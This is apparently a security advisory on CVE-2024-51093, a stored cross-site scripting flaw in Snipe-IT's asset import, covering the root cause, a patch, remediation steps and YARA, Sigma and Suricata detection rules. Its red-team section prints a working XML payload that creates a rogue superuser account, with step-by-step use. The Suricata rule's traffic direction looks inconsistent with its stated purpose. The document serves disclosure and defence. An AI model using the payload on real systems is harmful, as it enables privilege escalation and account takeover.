CVE-2024-51093

Executive Summary

CVE-2024-51093 is a Stored Cross-Site Scripting (XSS) vulnerability in Snipe-IT v7.0.13, an open-source asset management system. The flaw allows an authenticated attacker with asset creation privileges to upload a malicious XML file containing JavaScript code. When the payload is executed in the context of a Super Admin user, it can lead to privilege escalation, granting the attacker Super Admin permissions. This vulnerability is particularly dangerous in multi-tenant or enterprise environments where asset management is centralized.

Supply Chain & Package Security

Snipe-IT is a PHP/Laravel application. The vulnerability does not directly affect the supply chain of packages (NPM, PyPI, Go, Ruby), but the XML parsing and rendering functionality within the application is the attack vector. Organizations using Snipe-IT should verify the integrity of their installation and monitor for any unauthorized asset uploads.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs an account with asset creation privileges.
• User Interaction (UI): Required (R) – The payload is triggered when a Super Admin views the asset.
• Scope (S): Changed (C) – The vulnerability impacts the application’s security context.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

CVSS Score: 5.4 (Medium)

Threat Level: Medium – Exploitation requires user interaction and low privileges, but the potential for privilege escalation makes it a significant risk.

Deep Dive & Mechanics

The vulnerability resides in the asset import functionality of Snipe-IT. The application allows users to upload XML files to import asset data. The XML parser does not properly sanitize or escape user-controlled data, specifically within XML elements that are later rendered in the web interface.

Attack Flow:

1. An authenticated attacker with asset creation privileges uploads a crafted XML file.
2. The XML file contains a malicious JavaScript payload within an element (e.g., <name>, <serial>, <notes>).
3. The application stores the payload in the database.
4. When a Super Admin views the asset details page, the payload is executed in the browser.
5. The JavaScript can then perform actions on behalf of the Super Admin, such as creating a new Super Admin account or modifying permissions.

Root Cause: Lack of output encoding when rendering XML data in the web interface. The application uses {!! $asset->name !!} (raw output) instead of {{ $asset->name }} (escaped output) in Blade templates.

Vulnerable vs. Patched Code

Vulnerable Code (Blade Template):

<div class="form-group">
    <label class="col-md-3 control-label">Name</label>
    <div class="col-md-6">
        <p class="form-control-static">{!! $asset->name !!}</p>
    </div>
</div>

Patched Code (Blade Template):

<div class="form-group">
    <label class="col-md-3 control-label">Name</label>
    <div class="col-md-6">
        <p class="form-control-static">{{ $asset->name }}</p>
    </div>
</div>

The patched version uses {{ }} which automatically escapes HTML entities, preventing XSS.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Snipe-IT instance (v7.0.13) with a user account that has "create assets" permission.
• A Super Admin user who will view the asset.

Step 1: Craft the Malicious XML File Create a file named malicious.xml with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<assets>
    <asset>
        <name><![CDATA[<script>fetch('/api/v1/users', {method:'POST', headers:{'Content-Type':'application/json','X-CSRF-TOKEN':document.querySelector('meta[name="csrf-token"]').getAttribute('content')}, body:JSON.stringify({username:'attacker',password:'P@ssw0rd!',email:'attacker@example.com',permissions:{'superuser':1}})}).then(r=>console.log('done'))</script>]]></name>
        <serial>SN-12345</serial>
        <notes>Test asset</notes>
    </asset>
</assets>

Step 2: Upload the XML File

• Log in to Snipe-IT as the attacker user.
• Navigate to Assets > Import.
• Upload malicious.xml.
• The asset will be created with the malicious name.

Step 3: Trigger the Payload

• The Super Admin navigates to Assets and views the newly created asset.
• The JavaScript executes, creating a new Super Admin user.

Step 4: Escalate Privileges

• The attacker logs in with the new Super Admin credentials (attacker / P@ssw0rd!).

Blue Team (Defensive)

Detection:

• Monitor for unusual asset names containing <script> tags or JavaScript code.
• Alert on asset imports from non-admin users.
• Review logs for POST requests to /api/v1/users from non-admin sessions.

Prevention:

• Apply input validation and output encoding (use {{ }} instead of {!! !!}).
• Restrict asset import functionality to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: malicious.xml or any XML file containing <script> tags.
• Network: POST requests to /api/v1/users with JSON payload containing superuser:1.
• Logs: Asset names containing HTML/JavaScript code.
• User Accounts: Unexpected Super Admin accounts (e.g., attacker).

Detection Engineering

YARA Rule

rule CVE_2024_51093_XML_XSS {
    meta:
        description = "Detects malicious XML files used in CVE-2024-51093"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-51093"
    strings:
        $xss_payload = /<script>.*<\/script>/ nocase
        $xml_header = "<?xml"
    condition:
        $xml_header and $xss_payload
}

Sigma Rule

title: Snipe-IT Stored XSS via XML Import
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2024-51093
author: Valters IT
logsource:
    category: application
    product: snipe-it
detection:
    selection:
        event: asset.created
        asset_name|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in asset names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51093 Snipe-IT Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/users"; http_uri; content:"superuser"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Snipe-IT to the latest patched version (if available) or apply the code fix manually.
2. Restrict asset import to only trusted administrators.
3. Review and remove any suspicious assets or user accounts.

Long-term Measures:

• Implement a Web Application Firewall (WAF) to block XSS payloads.
• Enforce Content Security Policy (CSP) headers.
• Conduct regular security audits and penetration testing.

Workaround:

• If patching is not possible, disable the XML import feature temporarily by removing the import route in routes/web.php.

Valters IT
Securing Digital Frontiers